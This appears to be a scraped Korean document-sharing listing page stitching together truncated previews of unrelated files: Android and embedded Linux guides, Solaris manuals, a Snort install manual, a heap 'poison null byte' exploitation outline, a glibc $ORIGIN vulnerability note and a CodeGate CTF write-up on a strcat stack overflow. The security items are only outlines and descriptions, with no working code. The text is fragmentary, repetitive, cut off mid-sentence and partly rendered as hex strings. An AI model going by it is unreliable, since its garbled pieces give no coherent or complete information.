1. 안드로이드개발환경설정 안드로이드개발을위해선툴체인을비롯한다양한소프트웨어패키지가필요합니다 툴체인 (Cross-Compiler) 설치 안드로이드 2.2 프로요부터는소스에기본툴체인이 prebuilt 라는이름으로포함되어있지만, 리눅스 나부트로더 (U-boot) 1. 안드로이드개발환경설정 안드로이드개발을위해선툴체인을비롯한다양한소프트웨어패키지가필요합니다. 1.1. 툴체인 (Cross-Compiler) 설치 안드로이드 2.2 프로요부터는소스에기본툴체인이 prebuilt 라는이름으로포함되어있지만, 리눅스 나부트로더 (U-boot) 만별도로필요한경우도있어툴체인설치및설정에대해알아봅니다. 1.1.1. 툴체인설치 다음링크에서다운받을수있습니다.

More information

SRC PLUS 제어기 MANUAL

SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information

Solaris Express Developer Edition

Solaris Express Developer Edition Solaris Express Developer Edition : 2008 1 Solaris TM Express Developer Edition Solaris OS. Sun / Solaris, Java, Web 2.0,,. Developer Solaris Express Developer Edition System Requirements. 768MB. SPARC

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

Copyright 2004 Sun Microsystems, Inc Network Circle, Santa Clara, CA U.S.A..,,. Sun. Sun. Berkeley BSD. UNIX X/Open Company, Ltd.. Sun, Su

Copyright 2004 Sun Microsystems, Inc Network Circle, Santa Clara, CA U.S.A..,,. Sun. Sun. Berkeley BSD. UNIX X/Open Company, Ltd.. Sun, Su Java Desktop System 2 Sun Microsystems, Inc. 4150 Network Circle Santa Clara, CA 95054 U.S.A. : 817 7757 10 2004 9 Copyright 2004 Sun Microsystems, Inc. 4150 Network Circle, Santa Clara, CA 95054 U.S.A..,,.

More information

Network seminar.key

Network seminar.key Intro to Network .. 2 4 ( ) ( ). ?!? ~! This is ~ ( ) /,,,???? TCP/IP Application Layer Transfer Layer Internet Layer Data Link Layer Physical Layer OSI 7 TCP/IP Application Layer Transfer Layer 3 4 Network

More information

Chapter. 5 Embedded System I Bootloader, Kernel, Ramdisk Professor. Jaeheung, Lee

Chapter. 5 Embedded System I Bootloader, Kernel, Ramdisk Professor. Jaeheung, Lee Chapter. 5 Bootloader, Kernel, Ramdisk Professor. Jaeheung, Lee 목차 Bootloader Kernel File System 1 Bootloader Bootloader 란? 리눅스커널부팅이전에미리실행되면서커널이올바르게부팅되기위해필요한모든관련작업을마무리하고최종적으로리눅스커널을부팅시키기위한목적으로짜여진프로그램 Bootloader

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 WEB SERVER PORTING 1 Jo, Heeseung 웹서버포팅 HBE-SM5-S4210 를임베디드웹서버로사용할수있도록웹서버를올리는작업 임베디드서버에널리쓰이는웹서버들중 GoAhead 라는웹서버를포팅 CGI 프로그램을이용하여웹에서 HBE-SM5-S4210 의 LED, 7- Segment, TextLCD 를제어실습 2 Goahead webserver 소스를다운받거나제공된

More information

Snort Install Manual Ad2m VMware libnet tar.gz DebianOS libpcap tar.gz Putty snort tar.gz WinSCP snort rules 1. 첫번째로네트워크설정 1) ifconf

Snort Install Manual Ad2m VMware libnet tar.gz DebianOS libpcap tar.gz Putty snort tar.gz WinSCP snort rules 1. 첫번째로네트워크설정 1) ifconf Snort Install Manual Ad2m VMware libnet-1.1.5.tar.gz DebianOS libpcap-1.1.1.tar.gz Putty snort-2.8.6.tar.gz WinSCP snort rules 1. 첫번째로네트워크설정 1) ifconfig 명령어로현재 IP를확인해본다. 2) vi /etc/network/interfaces 네트워크설정파일에아래와같이설정을해준다.

More information

다음 사항을 꼭 확인하세요! 도움말 안내 - 본 도움말에는 iodd2511 조작방법 및 활용법이 적혀 있습니다. - 본 제품 사용 전에 안전을 위한 주의사항 을 반드시 숙지하십시오. - 문제가 발생하면 문제해결 을 참조하십시오. 중요한 Data 는 항상 백업 하십시오.

다음 사항을 꼭 확인하세요! 도움말 안내 - 본 도움말에는 iodd2511 조작방법 및 활용법이 적혀 있습니다. - 본 제품 사용 전에 안전을 위한 주의사항 을 반드시 숙지하십시오. - 문제가 발생하면 문제해결 을 참조하십시오. 중요한 Data 는 항상 백업 하십시오. 메 뉴 다음 사항을 꼭 확인하세요! --------------------------------- 2p 안전을 위한 주의 사항 --------------------------------- 3p 구성품 --------------------------------- 4p 각 부분의 명칭 --------------------------------- 5p 제품의 규격

More information

무시하고진행합니다. $ sudo rootstock -d precise --seed ubuntu-standard -x en_us.utf-8 -f ubuntu -l ubuntu -p ubuntu -i 2G I: Running on a x86_64 machine I: Cre

무시하고진행합니다. $ sudo rootstock -d precise --seed ubuntu-standard -x en_us.utf-8 -f ubuntu -l ubuntu -p ubuntu -i 2G I: Running on a x86_64 machine I: Cre ( 망고 220 ubuntu 포팅 ) $ wget http://launchpadlibrarian.net/52888742/rootstock_0.1.99.4-0ubuntu1_i386.deb --2014-09-23 18:02:26-- http://launchpadlibrarian.net/52888742/rootstock_0.1.99.4-0ubuntu1_i386.deb

More information

01Àå

01Àå CHAPTER 01 1 Fedora Fedora Linux Toolbox 2003 Fedora Core( ) http://fedoraproject.org www.redhat.com 2 CHAPTER Fedora RHEL GNU public license www.centos.org www.yellowdoglinux.com www. lineox.net www.

More information

Adobe Flash 취약점 분석 (CVE-2012-0754)

Adobe Flash 취약점 분석 (CVE-2012-0754) 기술문서 14. 08. 13. 작성 GNU C library dynamic linker $ORIGIN expansion Vulnerability Author : E-Mail : 윤지환 131ackcon@gmail.com Abstract 2010 년 Tavis Ormandy 에 의해 발견된 취약점으로써 정확한 명칭은 GNU C library dynamic linker

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

Mango24R2 Auto Write

Mango24R2 Auto Write Mango24R2 Auto Write http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys CRZ Technology 1 Document History Revision

More information

Microsoft PowerPoint - comp_prac_081223_2.pptx

Microsoft PowerPoint - comp_prac_081223_2.pptx Computer Programming Practice (2008 Winter) Practice 2 기본 Unix/Linux 명령어숙지 2008. 12. 23 Contents Linux commands Basic commands File and Directory User Data Filtering Process Etc Conclusion & Recommended

More information

Microsoft PowerPoint - LN_10_rootFS.ppt [호환 모드]

Microsoft PowerPoint - LN_10_rootFS.ppt [호환 모드] 프로젝트 1 Root Filesystem 단국대학교컴퓨터학과 2009 백승재 ibanez1383@dankook.ac.kr k k http://embedded.dankook.ac.kr/~ibanez1383 Ramdisk 에대한이해 강의목표 Root filesystem 의구조이해 Root filesystem 제작과정이해 Ramdisk 기반 root filesystem

More information

Orcad Capture 9.x

Orcad Capture 9.x OrCAD Capture Workbook (Ver 10.xx) 0 Capture 1 2 3 Capture for window 4.opj ( OrCAD Project file) Design file Programe link file..dsn (OrCAD Design file) Design file..olb (OrCAD Library file) file..upd

More information

untitled

untitled GUI Programming in Embedded Linux Embedded System Lab. II GUI 1:1 Embedded System Lab. II 2 Qt QT trolltech cross GUI QT ( ),, Mac, Linux, *nix C++ Qt X11 C++ GUI. (, ). Qt. Embedded System Lab. II 3 Qt/Embedded

More information

CD-RW_Advanced.PDF

CD-RW_Advanced.PDF HP CD-Writer Program User Guide - - Ver. 2.0 HP CD-RW Adaptec Easy CD Creator Copier, Direct CD. HP CD-RW,. Easy CD Creator 3.5C, Direct CD 3.0., HP. HP CD-RW TEAM ( 02-3270-0803 ) < > 1. CD...3 CD...5

More information

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

Microsoft Word - FS_ZigBee_Manual_V1.3.docx FirmSYS Zigbee etworks Kit User Manual FS-ZK500 Rev. 2008/05 Page 1 of 26 Version 1.3 목 차 1. 제품구성... 3 2. 개요... 4 3. 네트워크 설명... 5 4. 호스트/노드 설명... 6 네트워크 구성... 6 5. 모바일 태그 설명... 8 6. 프로토콜 설명... 9 프로토콜 목록...

More information

PWR PWR HDD HDD USB USB Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl Cable PC PC DDNS (

PWR PWR HDD HDD USB USB Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl Cable PC PC DDNS ( PWR PWR HDD HDD USB USB Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl Cable PC PC DDNS (http://ddns.hanwha-security.com) Step 1~5. Step, PC, DVR Step 1. Cable Step

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Reasons for Poor Performance Programs 60% Design 20% System 2.5% Database 17.5% Source: ORACLE Performance Tuning 1 SMS TOOL DBA Monitoring TOOL Administration TOOL Performance Insight Backup SQL TUNING

More information

Microsoft PowerPoint - lab14.pptx

Microsoft PowerPoint - lab14.pptx Mobile & Embedded System Lab. Dept. of Computer Engineering Kyung Hee Univ. Keypad Device Control in Embedded Linux HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착되어있다. 2 Keypad Device Driver

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

(SW3704) Gingerbread Source Build & Working Guide

(SW3704) Gingerbread Source Build & Working Guide (Mango-M32F4) Test Guide http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys CRZ Technology 1 Document History

More information

USB USB DV25 DV25 REC SRN-475S REC SRN-475S LAN POWER LAN POWER Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl C

USB USB DV25 DV25 REC SRN-475S REC SRN-475S LAN POWER LAN POWER Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl C USB USB DV25 DV25 REC SRN-475S REC SRN-475S LAN POWER LAN POWER Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl Cable PC PC Step 1~5. Step, PC, DVR Step 1. Cable Step

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

슬라이드 1

슬라이드 1 / 임베디드시스템개요 / 임베디드운영체제 / 디바이스드라이버 01 Linux System Architecture Application Area Application System Call Interface BSD Socket Virtual File System INET(AF_INET) Kernel Area Buffer Cache Network Subsystem

More information

2008

2008 DAT 를이용한 backup 2016. 03 - C&Thoth H/W Team - 목차 1. DAT의정의와종류 1) DAT의정의 2) DAT의종류 2. DAT backup (ufsdaump / ufsrestore) 1) mt 명령어확인 2) Restore 명령어확인 3) Ufsrestore 명령을이용한 backup 4) TAPE 에서 Ufsrestore 로백업한내용확인

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

Chap 10 안드로이드커널 (Kernel)

Chap 10 안드로이드커널 (Kernel) Chap 10 안드로이드커널 (Kernel) 1. Kernel Operating System에서 Kernel은운영체제의핵심부분이다. Bootloader에서하드웨어초기화를담당했다면, 커널은우리가사용해야할시스템자원을관리해주는기능을해준다. 아래는기본적인커널의역할을나열해보았다. 물론, 안드로이드가적용되면서기본적인커널에추가적인기능이포함되었다. 기본적인커널의역할을나열하면아래와같다.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

Microsoft PowerPoint APUE(Intro).ppt

Microsoft PowerPoint APUE(Intro).ppt 컴퓨터특강 () [Ch. 1 & Ch. 2] 2006 년봄학기 문양세강원대학교컴퓨터과학과 APUE 강의목적 UNIX 시스템프로그래밍 file, process, signal, network programming UNIX 시스템의체계적이해 시스템프로그래밍능력향상 Page 2 1 APUE 강의동기 UNIX 는인기있는운영체제 서버시스템 ( 웹서버, 데이터베이스서버

More information

TCP.IP.ppt

TCP.IP.ppt TCP/IP TCP/IP TCP/IP TCP/IP TCP/IP Internet Protocol _ IP Address Internet Protocol _ Subnet Mask Internet Protocol _ ARP(Address Resolution Protocol) Internet Protocol _ RARP(Reverse Address Resolution

More information

Tizen

Tizen 1 Porting Tizen on ODROID (1/2) Compile kernel Index 2 Hardware check Configure platform Bootloader Building a kernel Building a Tizen platform Platform image flash Platform configuration Trouble shooting

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O Orange for ORACLE V4.0 Installation Guide ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE...1 1....2 1.1...2 1.2...2 1.2.1...2 1.2.2 (Online Upgrade)...11 1.3 ORANGE CONFIGURATION ADMIN...12 1.3.1 Orange Configuration

More information

MPLAB C18 C

MPLAB C18 C MPLAB C18 C MPLAB C18 MPLAB C18 C MPLAB C18 C #define START, c:\mcc18 errorlevel{0 1} char isascii(char ch); list[list_optioin,list_option] OK, Cancel , MPLAB IDE User s Guide MPLAB C18 C

More information

Microsoft PowerPoint - em8-리눅스설치.ppt

Microsoft PowerPoint - em8-리눅스설치.ppt 임베디드리눅스커널설치개요 임베디드리눅스설치 Linux Kernel* Root File System* jffs2.img 1 2 구성요소 리눅스커널 필수구성요소 하드웨어를초기화하고 kernel image를 에올려주어수행을넘겨주는역할을하는프로그램 OS Kernel OS 의핵심프로그램 Root File System Kernel 에서사용할 File System 임베디드리눅스에서는

More information

T100MD+

T100MD+ User s Manual 100% ) ( x b a a + 1 RX+ TX+ DTR GND TX+ RX+ DTR GND RX+ TX+ DTR GND DSR RX+ TX+ DTR GND DSR [ DCE TYPE ] [ DCE TYPE ] RS232 Format Baud 1 T100MD+

More information

Microsoft PowerPoint - ARM 개발 환경.ppt

Microsoft PowerPoint - ARM 개발 환경.ppt ARM 개발환경 Yongjin Kim CASP Lab. Hanyang Univ. yjkim@casp.hanyang.ac.kr 1 대의 PC 를위한개발환경 (1) JTAG 1 Parallel cable 4 Host PC (Window 또는 Linux) 1. JTAG 2 Serial SMC S3C2410x Hardware 개발환경 3 NOR Flash (Boot

More information

chapter4

chapter4 Basic Netw rk 1. ก ก ก 2. 3. ก ก 4. ก 2 1. 2. 3. 4. ก 5. ก 6. ก ก 7. ก 3 ก ก ก ก (Mainframe) ก ก ก ก (Terminal) ก ก ก ก ก ก ก ก 4 ก (Dumb Terminal) ก ก ก ก Mainframe ก CPU ก ก ก ก 5 ก ก ก ก ก ก ก ก ก ก

More information

PCServerMgmt7

PCServerMgmt7 Web Windows NT/2000 Server DP&NM Lab 1 Contents 2 Windows NT Service Provider Management Application Web UI 3 . PC,, Client/Server Network 4 (1),,, PC Mainframe PC Backbone Server TCP/IP DCS PLC Network

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

untitled

untitled CAN BUS RS232 Line Ethernet CAN H/W FIFO RS232 FIFO IP ARP CAN S/W FIFO TERMINAL Emulator COMMAND Interpreter ICMP TCP UDP PROTOCOL Converter TELNET DHCP C2E SW1 CAN RS232 RJ45 Power

More information

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D> 뻔뻔한 AVR 프로그래밍 The Last(8 th ) Lecture 유명환 ( yoo@netplug.co.kr) INDEX 1 I 2 C 통신이야기 2 ATmega128 TWI(I 2 C) 구조분석 4 ATmega128 TWI(I 2 C) 실습 : AT24C16 1 I 2 C 통신이야기 I 2 C Inter IC Bus 어떤 IC들간에도공통적으로통할수있는 ex)

More information

10X56_NWG_KOR.indd

10X56_NWG_KOR.indd 디지털 프로젝터 X56 네트워크 가이드 이 제품을 구입해 주셔서 감사합니다. 본 설명서는 네트워크 기능 만을 설명하기 위한 것입니다. 본 제품을 올바르게 사 용하려면 이 취급절명저와 본 제품의 다른 취급절명저를 참조하시기 바랍니다. 중요한 주의사항 이 제품을 사용하기 전에 먼저 이 제품에 대한 모든 설명서를 잘 읽어 보십시오. 읽은 뒤에는 나중에 필요할 때

More information

GNU/Linux 1, GNU/Linux MS-DOS LOADLIN DOS-MBR LILO DOS-MBR LILO... 6

GNU/Linux 1, GNU/Linux MS-DOS LOADLIN DOS-MBR LILO DOS-MBR LILO... 6 GNU/ 1, qkim@pecetrirekr GNU/ 1 1 2 2 3 4 31 MS-DOS 5 32 LOADLIN 5 33 DOS- LILO 6 34 DOS- 6 35 LILO 6 4 7 41 BIOS 7 42 8 43 8 44 8 45 9 46 9 47 2 9 5 X86 GNU/LINUX 10 1 GNU/, GNU/ 2, 3, 1 : V 11, 2001

More information

CPX-E-EC_BES_C_ _ k1

CPX-E-EC_BES_C_ _ k1 CPX-E CPX-E-EC EtherCAT 8071155 2017-07 [8075310] CPX-E-EC CPX-E-EC-KO EtherCAT, TwinCAT (). :, 2 Festo CPX-E-EC-KO 2017-07 CPX-E-EC 1... 4 1.1... 4 1.2... 4 1.3... 4 1.4... 5 1.5... 5 2... 6 2.1... 6

More information

목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate

목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate ALTIBASE HDB 6.1.1.5.6 Patch Notes 목차 BUG-39240 offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG-41443 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate 한뒤, hash partition

More information

C# Programming Guide - Types

C# Programming Guide - Types C# Programming Guide - Types 최도경 lifeisforu@wemade.com 이문서는 MSDN 의 Types 를요약하고보충한것입니다. http://msdn.microsoft.com/enus/library/ms173104(v=vs.100).aspx Types, Variables, and Values C# 은 type 에민감한언어이다. 모든

More information

Raspbian 설치 라즈비안 OS (Raspbian OS) 라즈베리파이 3 Model B USB 마우스 USB 키보드 마이크로 SD 카드 마이크로 SD 카드리더기 HDM I 케이블모니터

Raspbian 설치 라즈비안 OS (Raspbian OS) 라즈베리파이 3 Model B USB 마우스 USB 키보드 마이크로 SD 카드 마이크로 SD 카드리더기 HDM I 케이블모니터 운영체제실습 Raspbian 설치 2017. 3 표월성 wspyo74@naver.com cherub.sungkyul.ac.kr 목차 Ⅰ. 설치 1. 라즈비안 (Raspbian 설치 ) 2. 설치후, 설정 설정사항 Raspbian 설치 라즈비안 OS (Raspbian OS) 라즈베리파이 3 Model B USB 마우스 USB 키보드 마이크로 SD 카드 마이크로

More information

Gentoo linux 설치기록

Gentoo linux 설치기록 GentooInstall Gentoo linux 1 Gentoo linux 11 12 121 122 123 13 131 Live CD 132 Network 133 Root ( ) 134 14 Mirror 141 chroot 142 Portage 143 144 Boot strap 145 System 146 147 fstab 148 Kernel 1481 Gentoo

More information

인켈(국문)pdf.pdf

인켈(국문)pdf.pdf M F - 2 5 0 Portable Digital Music Player FM PRESET STEREOMONO FM FM FM FM EQ PC Install Disc MP3/FM Program U S B P C Firmware Upgrade General Repeat Mode FM Band Sleep Time Power Off Time Resume Load

More information